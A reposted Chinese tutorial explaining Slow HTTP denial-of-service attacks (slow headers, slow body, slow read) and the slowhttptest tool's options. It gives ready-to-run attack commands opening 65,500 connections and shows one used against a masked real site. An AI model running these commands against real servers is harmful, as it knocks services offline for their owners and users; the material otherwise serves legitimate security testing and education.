HTTP慢速拒絕服務攻擊(Slow HTTP Dos)


HTTP慢速拒絕服務攻擊簡介

HTTP慢速攻擊是利用HTTP合法機制,以極低的速度往服務器發送HTTP請求,盡量長時間保持連接,不釋放,若是達到了Web Server對於並發連接數的上限,同時惡意占用的連接沒有被釋放,那么服務器端將無法接受新的請求,導致拒絕服務。

 

HTTP慢速攻擊原理(摘抄自傾旋師傅的博客:https://payloads.online/archivers/2018-04-16/2

既然是一個HTTP協議的緩慢攻擊,這就要從HTTP協議說起了。

首先HTTP協議的報文都是一行一行的,類似於:

GET / HTTP/1.1\r\n
Host : payloads.online\r\n
Connection: keep-alive\r\n
Keep-Alive: 900\r\n
Content-Length: 100000000\r\n
Content_Type: application/x-www-form-urlencoded\r\n
Accept: *.*\r\n
\r\n

那么報文中的\r\n是什么?

\r\n代表一行報文的結束也被稱為空行(CRLF),而\r\n\r\n代表整個報文的結束

從上面貼出的GET請求包可以看出,我們的客戶端請求到服務器后,告知服務器這個連接需要保留。

通常我們知道HTTP協議采用“請求-應答”模式,當使用普通模式,即非KeepAlive模式時,每個請求/應答客戶和服務器都要新建一個連接,完成之后立即斷開連接(HTTP協議為無連接的協議);當使用Keep-Alive模式(又稱持久連接、連接重用)時,Keep-Alive功能使客戶端到服 務器端的連接持續有效,當出現對服務器的后繼請求時,Keep-Alive功能避免了建立或者重新建立連接。

那么當我們客戶端發送一個報文,不以CRLF結尾,而是10s發送一行報文,我們的報文需要80s才能發送完畢,這80s內,服務器需要一直等待客戶端的CRLF,然后才能解析這個報文。

如果客戶端使用更多的程序發送這樣的報文,那么服務器端會給客戶端留出更多的資源來處理、等待這遲遲不傳完的報文。假設服務器端的客戶端最大連接數是100個,我們使用測試程序先連接上100次服務器端,並且報文中啟用Keep-Alive,那么其他正常用戶101、102就無法正常訪問網站了。

 

簡單來說,就是我們每次只發一行,每次發送之間的間隔時間很長,這遲遲未發送結束的HTTP包會占用服務端的資源,當達到服務端處理請求的上限時,這時候再用戶對網站正常請求,服務端也處理不了了,導致了拒絕服務。

 

HTTP慢速攻擊分類

HTTP慢速攻擊分為三類:

  • Slow headers

  • Slow body

  • Slow read

1,Slow headers

第一類是最經典的HTTP Slow慢速攻擊,由rsnake發明的,原理在上面已介紹。

2,Slow body

第二類也叫做Slow HTTP POST

原理為在POST提交方式中,允許在HTTP的頭中聲明content-length,即POST內容的長度。

提交了惡意頭之后,將需要傳輸的body緩慢進行發送,跟Slow headers類似,導致服務器端長時間等待需要傳輸的POST數據,當請求的數量變多后,達到了消耗服務器資源的效果,導致服務器宕機。

3,Slow Read attack

第三類攻擊方式采用調整TCP協議中滑動窗口大小,來對服務器單次發送的數據大小進行控制,使得服務器需要對一個相應包分為很多個包來發送,想要使這種攻擊效果明顯,請求的資源要盡量大,這里很容易理解,當請求的資源越大,返回包才越大,這樣才能分成更多的包讓服務器發送,導致拒絕服務的產生。

也就是說,客戶端以極低的速度來讀取返回包,來消耗服務器的連接和內存資源。

 

HTTP慢速攻擊實戰

一般使用slowhttptest工具(安裝方式很多,不再贅述)

工具簡介

SlowHTTPTest是一個可配置的應用層拒絕服務攻擊測試工具,它可以工作在Linux,OSX和Cygwin環境以及Windows命令行接口,可以幫助安全測試人員檢驗服務器對慢速攻擊的處理能力。

這個工具可以模擬低帶寬耗費下的DoS攻擊,比如慢速攻擊,慢速HTTP POST,通過並發連接池進行的慢速讀攻擊(基於TCP持久時間)等。慢速攻擊基於HTTP協議,通過精心的設計和構造,這種特殊的請求包會造成服務器延時,而當服務器負載能力消耗過大即會導致拒絕服務。

使用參數介紹
測試模式:
-H                           slow header,slowloris默認采用此模式          
-B                           slow body
-R                           遠程攻擊又名Apache killer
-X                           slow read

報告選項:
-g                           生成具有套接字狀態更改的統計信息(默認關閉)
-o file_prefix               將統計信息輸出保存在file.html和file.csv中(需要-g)
-v level                     日志信息,詳細級別0-4:致命,信息,錯誤,警告,調試

常規選項:
-c connections               連接目標連接數(50)
-i seconds                   后續數據之間的間隔(以秒為單位)(10)
-l seconds                   測試目標時間長度,以秒為單位(240)
-r rate                       每秒連接數(50)
-s                           如果需要,Content-Length標頭的值(4096)
-t                           在請求中使用的動詞,對於slow header和response,默認為GET;對於slow body,默認為POST
-u URL                       目標的絕對URL(http://localhost/)
-x                           在slowloris and Slow POST tests模式中,指定發送的最大數據長度
-f                           Content-Type標頭的值(application/x-www-form-urlencoded)
-m                           接受(Accept)標頭的值(text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5)

探測/代理選項:
-d host:port                 為所有連接指定代理
-e host:port                 為探測連接指定代理
-p seconds                   指定等待時間來確認DoS攻擊已經成功

range attack特定選項:
-a                           標頭中的起始位置
-b                           標頭中的結束位置

slow read特定選項:
-k                           在連接中重復相同請求的次數。如果服務器支持永久連接,則用於成倍增加響應大小。
-n                           從recv緩沖區讀取操作之間的時間間隔,以秒為單位(1)
-w                           slow read模式中指定tcp窗口范圍下限
-y                           slow read模式中指定tcp窗口范圍上限
-z                           在每次的read中,從buffer中讀取數據量

對於三種類型的慢速攻擊,分別給出payload:(摘抄的!)

Slow Header
slowhttptest -c 65500 -H -i 10 -r 200 -s 8192 -t SLOWHEADER -u http://vulurl.com

該攻擊會像我們剛才講的慢速傳遞HTTP報文,占用服務器資源讓其等待我們最后的CRLF。

Slow Read
slowhttptest -c 65500 -X -r 1000 -w 10 -y 20 -t SLOWREAD -n 5 -z 32 -u http://vulurl.com

該攻擊會在Web服務器響應內容傳輸回來的時候,我們客戶端緩慢的讀取響應報文,這樣服務器端也會一直等待客戶端來接收完畢。

Slow Post
slowhttptest -c 65500 -B -i 10 -r 200 -s 8192 -t SLOWBODY -u http://vulurl.com

該攻擊會構造一個POST數據包,將數據緩慢傳輸,使服務器端一直等待接收報文。

 

找一個存在漏洞的網址進行檢測:

使用Slow Post的payload:(漏洞網址已高碼)

slowhttptest -c 65500 -B -i 10 -r 200 -s 8192 -t SLOWBODY -u https://xxxxxx

1.png

當顯示為NO,則表示存在HTTP慢速攻擊漏洞,可導致拒絕服務。

 

參考鏈接:

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM